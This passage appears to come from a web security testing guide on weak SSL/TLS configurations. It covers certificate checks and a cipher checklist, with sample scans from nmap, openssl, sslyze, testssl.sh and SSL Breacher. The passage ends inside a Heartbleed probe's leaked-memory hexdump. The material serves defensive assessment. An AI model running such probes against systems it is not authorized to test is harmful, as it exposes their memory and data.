===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Surf Jacking<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/login.php<br />
<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Path : /login.php<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
